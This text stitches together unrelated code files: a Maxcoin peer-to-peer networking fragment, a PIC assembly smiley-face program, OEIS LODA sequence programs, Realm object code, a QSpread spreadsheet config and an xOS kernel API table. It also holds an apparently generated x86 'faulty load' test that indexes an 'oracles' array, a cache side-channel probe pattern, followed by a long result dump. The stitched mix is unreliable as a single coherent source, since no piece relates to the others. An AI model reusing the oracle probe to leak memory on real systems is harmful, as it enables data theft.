sizeof(sockaddr); if (!addrBind.GetSockAddr((struct sockaddr*)&sockaddr, &len)) { strError = strprintf("Error: bind address family for %s not supported", addrBind.ToString().c_str()); printf("%s\n", strError.c_str()); return false; } SOCKET hListenSocket = socket(((struct sockaddr*)&sockaddr)->sa_family, SOCK_STREAM, IPPROTO_TCP); if (hListenSocket == INVALID_SOCKET) { strError = strprintf("Error: Couldn't open socket for incoming connections (socket returned error %d)", WSAGetLastError()); printf("%s\n", strError.c_str()); return false; } #ifdef SO_NOSIGPIPE // Different way of disabling SIGPIPE on BSD setsockopt(hListenSocket, SOL_SOCKET, SO_NOSIGPIPE, (void*)&nOne, sizeof(int)); #endif #ifndef WIN32 // Allow binding if the port is still in TIME_WAIT state after // the program was closed and restarted. Not an issue on windows. setsockopt(hListenSocket, SOL_SOCKET, SO_REUSEADDR, (void*)&nOne, sizeof(int)); #endif #ifdef WIN32 // Set to non-blocking, incoming connections will also inherit this if (ioctlsocket(hListenSocket, FIONBIO, (u_long*)&nOne) == SOCKET_ERROR) #else if (fcntl(hListenSocket, F_SETFL, O_NONBLOCK) == SOCKET_ERROR) #endif { strError = strprintf("Error: Couldn't set properties on socket for incoming connections (error %d)", WSAGetLastError()); printf("%s\n", strError.c_str()); return false; } #ifdef USE_IPV6 // some systems don't have IPV6_V6ONLY but are always v6only; others do have the option // and enable it by default or not. Try to enable it, if possible. if (addrBind.IsIPv6()) { #ifdef IPV6_V6ONLY #ifdef WIN32 setsockopt(hListenSocket, IPPROTO_IPV6, IPV6_V6ONLY, (const char*)&nOne, sizeof(int)); #else setsockopt(hListenSocket, IPPROTO_IPV6, IPV6_V6ONLY, (void*)&nOne, sizeof(int)); #endif #endif #ifdef WIN32 int nProtLevel = 10 /* PROTECTION_LEVEL_UNRESTRICTED */; int nParameterId = 23 /* IPV6_PROTECTION_LEVEl */; // this call is allowed to fail setsockopt(hListenSocket, IPPROTO_IPV6, nParameterId, (const char*)&nProtLevel, sizeof(int)); #endif } #endif if (::bind(hListenSocket, (struct sockaddr*)&sockaddr, len) == SOCKET_ERROR) { int nErr = WSAGetLastError(); if (nErr == WSAEADDRINUSE) strError = strprintf(_("Unable to bind to %s on this computer. Maxcoin is probably already running."), addrBind.ToString().c_str()); else strError = strprintf(_("Unable to bind to %s on this computer (bind returned error %d, %s)"), addrBind.ToString().c_str(), nErr, strerror(nErr)); printf("%s\n", strError.c_str()); return false; } printf("Bound to %s\n", addrBind.ToString().c_str()); // Listen for incoming connections if (listen(hListenSocket, SOMAXCONN) == SOCKET_ERROR) { strError = strprintf("Error: Listening for incoming connections failed (listen returned error %d)", WSAGetLastError()); printf("%s\n", strError.c_str()); return false; } vhListenSocket.push_back(hListenSocket); if (addrBind.IsRoutable() && fDiscover) AddLocal(addrBind, LOCAL_BIND); return true; } void static Discover() { if (!fDiscover) return; #ifdef WIN32 // Get local host IP char pszHostName[1000] = ""; if (gethostname(pszHostName, sizeof(pszHostName)) != SOCKET_ERROR) { vector<CNetAddr> vaddr; if (LookupHost(pszHostName, vaddr)) { BOOST_FOREACH (const CNetAddr &addr, vaddr) { AddLocal(addr, LOCAL_IF); } } } #else // Get local host ip struct ifaddrs* myaddrs; if (getifaddrs(&myaddrs) == 0) { for (struct ifaddrs* ifa = myaddrs; ifa != NULL; ifa = ifa->ifa_next) { if (ifa->ifa_addr == NULL) continue; if ((ifa->ifa_flags & IFF_UP) == 0) continue; if (strcmp(ifa->ifa_name, "lo") == 0) continue; if (strcmp(ifa->ifa_name, "lo0") == 0) continue; if (ifa->ifa_addr->sa_family == AF_INET) { struct sockaddr_in* s4 = (struct sockaddr_in*)(ifa->ifa_addr); CNetAddr addr(s4->sin_addr); if (AddLocal(addr, LOCAL_IF)) printf("IPv4 %s: %s\n", ifa->ifa_name, addr.ToString().c_str()); } #ifdef USE_IPV6 else if (ifa->ifa_addr->sa_family == AF_INET6) { struct sockaddr_in6* s6 = (struct sockaddr_in6*)(ifa->ifa_addr); CNetAddr addr(s6->sin6_addr); if (AddLocal(addr, LOCAL_IF)) printf("IPv6 %s: %s\n", ifa->ifa_name, addr.ToString().c_str()); } #endif } freeifaddrs(myaddrs); } #endif // Don't use external IPv4 discovery, when -onlynet="IPv6" if (!IsLimited(NET_IPV4)) NewThread(ThreadGetMyExternalIP, NULL); } void StartNode(boost::thread_group& threadGroup) { if (semOutbound == NULL) { // initialize semaphore int nMaxOutbound = min(MAX_OUTBOUND_CONNECTIONS, nMaxConnections); semOutbound = new CSemaphore(nMaxOutbound); } if (pnodeLocalHost == NULL) pnodeLocalHost = new CNode(INVALID_SOCKET, CAddress(CService("127.0.0.1", 0), nLocalServices)); Discover(); // // Start threads // if (!GetBoolArg("-dnsseed", true)) printf("DNS seeding disabled\n"); else threadGroup.create_thread(boost::bind(&TraceThread<boost::function<void()> >, "dnsseed", &ThreadDNSAddressSeed)); #ifdef USE_UPNP // Map ports with UPnP MapPort(GetBoolArg("-upnp", USE_UPNP)); #endif // Send and receive from sockets, accept connections threadGroup.create_thread(boost::bind(&TraceThread<void (*)()>, "net", &ThreadSocketHandler)); // Initiate outbound connections from -addnode threadGroup.create_thread(boost::bind(&TraceThread<void (*)()>, "addcon", &ThreadOpenAddedConnections)); // Initiate outbound connections threadGroup.create_thread(boost::bind(&TraceThread<void (*)()>, "opencon", &ThreadOpenConnections)); // Process messages threadGroup.create_thread(boost::bind(&TraceThread<void (*)()>, "msghand", &ThreadMessageHandler)); // Dump network addresses threadGroup.create_thread(boost::bind(&LoopForever<void (*)()>, "dumpaddr", &DumpAddresses, DUMP_ADDRESSES_INTERVAL * 1000)); } bool StopNode() { printf("StopNode()\n"); GenerateBitcoins(false, NULL); MapPort(false); nTransactionsUpdated++; if (semOutbound) for (int i=0; i<MAX_OUTBOUND_CONNECTIONS; i++) semOutbound->post(); MilliSleep(50); DumpAddresses(); return true; } class CNetCleanup { public: CNetCleanup() { } ~CNetCleanup() { // Close sockets BOOST_FOREACH(CNode* pnode, vNodes) if (pnode->hSocket != INVALID_SOCKET) closesocket(pnode->hSocket); BOOST_FOREACH(SOCKET hListenSocket, vhListenSocket) if (hListenSocket != INVALID_SOCKET) if (closesocket(hListenSocket) == SOCKET_ERROR) printf("closesocket(hListenSocket) failed with error %d\n", WSAGetLastError()); // clean up some globals (to help leak detection) BOOST_FOREACH(CNode *pnode, vNodes) delete pnode; BOOST_FOREACH(CNode *pnode, vNodesDisconnected) delete pnode; vNodes.clear(); vNodesDisconnected.clear(); delete semOutbound; semOutbound = NULL; delete pnodeLocalHost; pnodeLocalHost = NULL; #ifdef WIN32 // Shutdown Windows Sockets WSACleanup(); #endif } } instance_of_cnetcleanup; void RelayTransaction(const CTransaction& tx, const uint256& hash) { CDataStream ss(SER_NETWORK, PROTOCOL_VERSION); ss.reserve(10000); ss << tx; RelayTransaction(tx, hash, ss); } void RelayTransaction(const CTransaction& tx, const uint256& hash, const CDataStream& ss) { CInv inv(MSG_TX, hash); { LOCK(cs_mapRelay); // Expire old relay messages while (!vRelayExpiration.empty() && vRelayExpiration.front().first < GetTime()) { mapRelay.erase(vRelayExpiration.front().second); vRelayExpiration.pop_front(); } // Save original serialized message so newer versions are preserved mapRelay.insert(std::make_pair(inv, ss)); vRelayExpiration.push_back(std::make_pair(GetTime() + 15 * 60, inv)); } LOCK(cs_vNodes); BOOST_FOREACH(CNode* pnode, vNodes) { if(!pnode->fRelayTxes) continue; LOCK(pnode->cs_filter); if (pnode->pfilter) { if (pnode->pfilter->IsRelevantAndUpdate(tx, hash)) pnode->PushInventory(inv); } else pnode->PushInventory(inv); } }
 ; dot matrix uzerinde gulen surat cizimi list p='16f877a' #include<P16F877A.INC> __CONFIG h'3F31' index EQU 0x20 gecikme1 EQU 0x21 gecikme2 EQU 0x22 gecikme3 EQU 0x23 ORG 0x00 GOTO BASLA ORG 0x04 retfie GECIKME movlw d'20' movwf gecikme1 G1 movlw d'20' movwf gecikme2 G2 decfsz gecikme2 goto G2 decfsz gecikme1 goto G1 decfsz gecikme3 goto GECIKME movlw d'3' movwf gecikme3 return BASLA banksel TRISB clrf TRISB clrf TRISC banksel PORTB clrf PORTB clrf PORTC movlw 0x00 movwf index movlw d'10' movwf gecikme3 DONGU movf index,w call l_portb movwf PORTB movf index,w call l_portc movwf PORTC incf index,f movf index,w sublw d'5' btfsc STATUS,Z clrf index bcf STATUS,Z call GECIKME goto DONGU l_portb addwf PCL,f retlw b'11110111' retlw b'11011011' retlw b'11111101' retlw b'11011011' retlw b'11110111' l_portc addwf PCL,f retlw b'00000001' retlw b'00000010' retlw b'00000100' retlw b'00001000' retlw b'00010000' END
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r14 push %r15 push %r9 push %rcx push %rdi push %rsi lea addresses_D_ht+0x2a94, %rsi lea addresses_A_ht+0x1090e, %rdi dec %r14 mov $3, %rcx rep movsb nop xor $24727, %r15 lea addresses_WC_ht+0x17294, %r13 and $63028, %r9 vmovups (%r13), %ymm3 vextracti128 $1, %ymm3, %xmm3 vpextrq $0, %xmm3, %rdi nop sub $35692, %r14 lea addresses_D_ht+0x12114, %r15 nop nop nop nop inc %r14 mov (%r15), %edi and $25482, %r15 lea addresses_WC_ht+0x15634, %rcx nop nop nop nop sub $27726, %r15 mov (%rcx), %r13d nop dec %r14 lea addresses_D_ht+0x301, %rdi nop nop nop nop nop inc %r13 mov $0x6162636465666768, %rsi movq %rsi, (%rdi) nop nop nop nop cmp $3187, %rcx lea addresses_UC_ht+0x3294, %rsi lea addresses_D_ht+0xa494, %rdi nop and %r11, %r11 mov $40, %rcx rep movsw nop nop nop nop nop sub %r11, %r11 lea addresses_UC_ht+0x1376c, %r13 nop nop xor $20373, %r15 movl $0x61626364, (%r13) cmp $18069, %rdi pop %rsi pop %rdi pop %rcx pop %r9 pop %r15 pop %r14 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r14 push %r15 push %r9 push %rax push %rcx push %rdi push %rsi // Load lea addresses_D+0x18e14, %rdi nop nop xor $11627, %rcx movb (%rdi), %al nop dec %rsi // Store lea addresses_RW+0x5528, %rax and %rdi, %rdi mov $0x5152535455565758, %r9 movq %r9, %xmm3 movups %xmm3, (%rax) nop inc %r9 // Store mov $0x9d187000000058a, %rcx sub $49488, %r15 movw $0x5152, (%rcx) nop nop and %rsi, %rsi // Store lea addresses_normal+0x19a34, %rdi nop nop nop cmp %rsi, %rsi movw $0x5152, (%rdi) nop sub %r14, %r14 // Store mov $0x72235c0000000f8c, %r9 nop nop nop nop nop and $24283, %rsi movl $0x51525354, (%r9) nop xor %rsi, %rsi // Load lea addresses_US+0x802a, %rcx nop nop nop dec %r15 mov (%rcx), %rax sub %r14, %r14 // Store lea addresses_WC+0x78f4, %rax nop nop and $38165, %r15 movw $0x5152, (%rax) nop sub $49766, %rax // Faulty Load lea addresses_US+0x7294, %r14 nop nop nop nop xor %rax, %rax mov (%r14), %rcx lea oracles, %r9 and $0xff, %rcx shlq $12, %rcx mov (%r9,%rcx,1), %rcx pop %rsi pop %rdi pop %rcx pop %rax pop %r9 pop %r15 pop %r14 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_US', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 7}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_RW', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 1}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 4}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 2}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_US', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 1}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 4}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_US', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_D_ht'}, 'dst': {'same': False, 'congruent': 0, 'type': 'addresses_A_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 11}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 7}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 5}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_D_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 3}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
; A188050: a(n) = A016755(n) - A001845(n). ; 0,20,100,280,600,1100,1820,2800,4080,5700,7700,10120,13000,16380,20300,24800,29920,35700,42180,49400,57400,66220,75900,86480,98000,110500,124020,138600,154280,171100,189100,208320,228800,250580,273700,298200,324120,351500,380380,410800,442800,476420,511700,548680,587400,627900,670220,714400,760480,808500,858500,910520,964600,1020780,1079100,1139600,1202320,1267300,1334580,1404200,1476200,1550620,1627500,1706880,1788800,1873300,1960420,2050200,2142680,2237900,2335900,2436720,2540400,2646980,2756500,2869000,2984520,3103100,3224780,3349600,3477600,3608820,3743300,3881080,4022200,4166700,4314620,4466000,4620880,4779300,4941300,5106920,5276200,5449180,5625900,5806400,5990720,6178900,6370980,6567000,6767000,6971020,7179100,7391280,7607600,7828100,8052820,8281800,8515080,8752700,8994700,9241120,9492000,9747380,10007300,10271800,10540920,10814700,11093180,11376400,11664400,11957220,12254900,12557480,12865000,13177500,13495020,13817600,14145280,14478100,14816100,15159320,15507800,15861580,16220700,16585200,16955120,17330500,17711380,18097800,18489800,18887420,19290700,19699680,20114400,20534900,20961220,21393400,21831480,22275500,22725500,23181520,23643600,24111780,24586100,25066600,25553320,26046300,26545580,27051200,27563200,28081620,28606500,29137880,29675800,30220300,30771420,31329200,31893680,32464900,33042900,33627720,34219400,34817980,35423500,36036000,36655520,37282100,37915780,38556600,39204600,39859820,40522300,41192080,41869200,42553700,43245620,43945000,44651880,45366300,46088300,46817920,47555200,48300180,49052900,49813400,50581720,51357900,52141980,52934000,53734000,54542020,55358100,56182280,57014600,57855100,58703820,59560800,60426080,61299700,62181700,63072120,63971000,64878380,65794300,66718800,67651920,68593700,69544180,70503400,71471400,72448220,73433900,74428480,75432000,76444500,77466020,78496600,79536280,80585100,81643100,82710320,83786800,84872580,85967700,87072200,88186120,89309500,90442380,91584800,92736800,93898420,95069700,96250680,97441400,98641900,99852220,101072400,102302480,103542500 add $0,1 mul $0,2 bin $0,3 mul $0,5 mov $1,$0
//////////////////////////////////////////////////////////////////////////// // // Copyright 2017 Realm Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // //////////////////////////////////////////////////////////////////////////// #include "object.hpp" #include "impl/object_notifier.hpp" #include "impl/realm_coordinator.hpp" #include "object_schema.hpp" #include "object_store.hpp" #include <realm/table.hpp> using namespace realm; /* The nice syntax is not supported by MSVC */ CreatePolicy CreatePolicy::Skip = {/*.create =*/ false, /*.copy =*/ false, /*.update =*/ false, /*.diff =*/ false}; CreatePolicy CreatePolicy::ForceCreate = {/*.create =*/ true, /*.copy =*/ true, /*.update =*/ false, /*.diff =*/ false}; CreatePolicy CreatePolicy::UpdateAll = {/*.create =*/ true, /*.copy =*/ true, /*.update =*/ true, /*.diff =*/ false}; CreatePolicy CreatePolicy::UpdateModified = {/*.create =*/ true, /*.copy =*/ true, /*.update =*/ true, /*.diff =*/ true}; CreatePolicy CreatePolicy::SetLink = {/*.create =*/ true, /*.copy =*/ false, /*.update =*/ false, /*.diff =*/ false}; Object Object::freeze(std::shared_ptr<Realm> frozen_realm) const { return Object(frozen_realm, frozen_realm->import_copy_of(m_obj)); } bool Object::is_frozen() const noexcept { return m_realm->is_frozen(); } InvalidatedObjectException::InvalidatedObjectException(const std::string& object_type) : std::logic_error("Accessing object of type " + object_type + " which has been invalidated or deleted") , object_type(object_type) {} InvalidPropertyException::InvalidPropertyException(const std::string& object_type, const std::string& property_name) : std::logic_error(util::format("Property '%1.%2' does not exist", object_type, property_name)) , object_type(object_type), property_name(property_name) {} MissingPropertyValueException::MissingPropertyValueException(const std::string& object_type, const std::string& property_name) : std::logic_error(util::format("Missing value for property '%1.%2'", object_type, property_name)) , object_type(object_type), property_name(property_name) {} MissingPrimaryKeyException::MissingPrimaryKeyException(const std::string& object_type) : std::logic_error(util::format("'%1' does not have a primary key defined", object_type)) , object_type(object_type) {} ReadOnlyPropertyException::ReadOnlyPropertyException(const std::string& object_type, const std::string& property_name) : std::logic_error(util::format("Cannot modify read-only property '%1.%2'", object_type, property_name)) , object_type(object_type), property_name(property_name) {} ModifyPrimaryKeyException::ModifyPrimaryKeyException(const std::string& object_type, const std::string& property_name) : std::logic_error(util::format("Cannot modify primary key after creation: '%1.%2'", object_type, property_name)) , object_type(object_type), property_name(property_name) {} Object::Object(SharedRealm r, ObjectSchema const& s, Obj const& o) : m_realm(std::move(r)), m_object_schema(&s), m_obj(o) { } Object::Object(SharedRealm r, Obj const& o) : m_realm(std::move(r)) , m_object_schema(&*m_realm->schema().find(ObjectStore::object_type_for_table_name(o.get_table()->get_name()))) , m_obj(o) { REALM_ASSERT(!m_obj.get_table() || (&m_realm->read_group() == _impl::TableFriend::get_parent_group(*m_obj.get_table()))); } Object::Object(SharedRealm r, StringData object_type, ObjKey key) : m_realm(std::move(r)) , m_object_schema(&*m_realm->schema().find(object_type)) , m_obj(ObjectStore::table_for_object_type(m_realm->read_group(), object_type)->get_object(key)) { REALM_ASSERT(!m_obj.get_table() || (&m_realm->read_group() == _impl::TableFriend::get_parent_group(*m_obj.get_table()))); } Object::Object(SharedRealm r, StringData object_type, size_t index) : m_realm(std::move(r)) , m_object_schema(&*m_realm->schema().find(object_type)) , m_obj(ObjectStore::table_for_object_type(m_realm->read_group(), object_type)->get_object(index)) { REALM_ASSERT(!m_obj.get_table() || (&m_realm->read_group() == _impl::TableFriend::get_parent_group(*m_obj.get_table()))); } Object::Object() = default; Object::~Object() = default; Object::Object(Object const&) = default; Object::Object(Object&&) = default; Object& Object::operator=(Object const&) = default; Object& Object::operator=(Object&&) = default; NotificationToken Object::add_notification_callback(CollectionChangeCallback callback) & { verify_attached(); m_realm->verify_notifications_available(); if (!m_notifier) { m_notifier = std::make_shared<_impl::ObjectNotifier>(m_realm, m_obj.get_table()->get_key(), m_obj.get_key()); _impl::RealmCoordinator::register_notifier(m_notifier); } return {m_notifier, m_notifier->add_callback(std::move(callback))}; } void Object::verify_attached() const { m_realm->verify_thread(); if (!m_obj.is_valid()) { throw InvalidatedObjectException(m_object_schema->name); } } Property const& Object::property_for_name(StringData prop_name) const { auto prop = m_object_schema->property_for_name(prop_name); if (!prop) { throw InvalidPropertyException(m_object_schema->name, prop_name); } return *prop; } void Object::validate_property_for_setter(Property const& property) const { verify_attached(); m_realm->verify_in_write(); // Modifying primary keys is allowed in migrations to make it possible to // add a new primary key to a type (or change the property type), but it // is otherwise considered the immutable identity of the row if (property.is_primary) { if (!m_realm->is_in_migration()) throw ModifyPrimaryKeyException(m_object_schema->name, property.name); // Modifying the PK property while it's the PK will corrupt the table, // so remove it and then restore it at the end of the migration (which will rebuild the table) m_obj.get_table()->set_primary_key_column({}); } }
; A005855: The coding-theoretic function A(n,10,7). ; Submitted by Jon Maiga ; 1,1,1,1,1,2,2,2,3,4,5,6,8,10,13,16 mov $2,$0 bin $2,3 lpb $0 mov $0,$1 mov $1,2 add $2,4 mul $2,2 lpe div $2,4 add $2,9 add $1,$2 div $1,16 add $1,1 mov $0,$1
* Spreadsheet 29/11-91 * - configuration information (english) * include win1_mac_config02 include win1_mac_olicfg include win1_keys_wstatus include win1_keys_k section config xref.l qs_vers * * Qjump's standard config block level 2 (TAB) mkcfhead {QSpread Demo General/Windows},qs_vers cway mkcfitem 'TABa',code,'M',cfg_mainc,,,{Main window colourway} \ 0,,{white/green}\ 1,,{black/red}\ 2,,{white/red}\ 3,,{black/green} mkcfitem 'TABb',code,'G',cfg_gridc,,,{Grid window colourway},.cway mkcfitem 'TABc',word,'X',cfg_size,,, {Default window width (or 0 for maximum)},0,65535 mkcfitem 'TABd',word,'Y',cfg_ysiz,,, {Default window height (or 0 for maximum)},0,65535 mkcfitem 'TABe',word,'C',cfg_colmn,,,{Number of columns},2,9999 mkcfitem 'TABf',word,'R',cfg_rows,,, {Number of rows},2,9999 mkcfitem 'TABg',word,'W',cfg_cwdt,,, {Initial column width},1,60 mkcfitem 'TABh',string,0,cst_prtp,,,{Printer devicename} mkcfitem 'TABi',string,0,cst_prti,,,{Printer initialisation code} mkcfitem 'TABj',word,0,cfg_prtw,,,{Printer page width (in characters)},40,256 mkcfitem 'TABk',word,0,cfg_prtl,,,{Printer page length (in lines)},10,200 mkcfitem 'TABl',string,0,cst_prtf,,,{Printer filterjob name},cfs.file mkcfitem 'TABm',string,0,cst_locd,,,{Local data directory},cfs.dir mkcfitem 'TABn',string,0,cst_flti,,,{Import filterjob name},cfs.file mkcfitem 'TABo',string,0,cst_flte,,,{Export filterjob name},cfs.file mkcfitem 'TABp',string,0,cst_fltd,,,{Transfer filter directory},cfs.dir mkcfitem 'TABq',string,0,cst_prtd,,,{Printer filter directory},cfs.dir mkcfitem 'TABr',string,'E',cst_extn,,,{File extension},cfs.ext mkcfitem 'TABs',string,'H',cst_helpf,,,{Help directory},cfs.dir yesno mkcfitem 'TABt',code,'B',cfg_sabk,,,{Backup file on save} \ wsi.avbl,,{No} \ wsi.slct,,{Yes} mkcfitem 'TABu',code,0,cfg_stcr,,,{Confirmation request},.yesno mkcfitem 'TABv',code,0,cfg_cgap,,,{Use border for cell indication},.yesno mkcfitem 'TABw',code,0,cfg_tool,,,{Show Toolbar initially},.yesno mkcfend * * Configuration data ds.w 0 cfgword size,0 cfgword ysiz,0 cfgcode mainc,0 ; white/green cfgcode gridc,3 ; no.... black/green cfgstrg flti,38,{flp1_Filter_PsionImport} cfgstrg flte,38,{flp1_Filter_TextExport} cfgstrg fltd,38,{flp1_Filter_} cfgstrg locd,38,{flp1_} cfgstrg helpf,38,{flp1_Help_} cfgstrg prtf,38,{flp1_Printer_DeskJet} cfgstrg prtd,38,{flp1_Printer_} cfgstrg prti,36,{\init} cfgstrg prtp,36,{PAR} cfgstrg extn,5,{_tab} cfgword prtw,80 cfgword prtl,60 cfgword colmn,50 cfgword rows,50 cfgword cwdt,10 cfgcode sabk,wsi.avbl cfgcode stcr,wsi.slct cfgcode cgap,wsi.slct cfgcode tool,wsi.slct ds.w 0 end
;; xOS Kernel API Reference ;; As of API version 1 XOS_WM_CREATE_WINDOW = 0x0000 XOS_YIELD = 0x0001 XOS_WM_PIXEL_OFFSET = 0x0002 XOS_WM_REDRAW = 0x0003 XOS_WM_READ_EVENT = 0x0004 XOS_WM_READ_MOUSE = 0x0005 XOS_WM_GET_WINDOW = 0x0006 XOS_WM_DRAW_TEXT = 0x0007 XOS_WM_CLEAR = 0x0008 XOS_MALLOC = 0x0009 XOS_FREE = 0x000A XOS_OPEN = 0x000B XOS_CLOSE = 0x000C XOS_SEEK = 0x000D XOS_TELL = 0x000E XOS_READ = 0x000F ;XOS_WRITE = 0x0010 XOS_WM_RENDER_CHAR = 0x0011 XOS_WM_KILL = 0x0012 XOS_GET_SCREEN_INFO = 0x0013 XOS_READ_KEY = 0x0014 XOS_TERMINATE = 0x0015 XOS_CREATE_TASK = 0x0016 XOS_GET_TIME = 0x0017 XOS_SHUTDOWN = 0x0018 XOS_REBOOT = 0x0019 XOS_GET_MEMORY_USAGE = 0x001A XOS_ENUM_TASKS = 0x001B XOS_GET_UPTIME = 0x001C
; A195311: Row sums of A195310. ; 0,1,3,5,7,10,13,17,21,25,29,33,38,43,48,54,60,66,72,78,84,90,97,104,111,118,126,134,142,150,158,166,174,182,190,199,208,217,226,235,245,255,265,275,285,295,305,315,325,335,345,356,367,378,389,400 lpb $0 add $2,1 mov $3,$0 trn $3,$2 add $3,$0 sub $0,1 add $4,3 trn $0,$4 add $1,$3 lpe
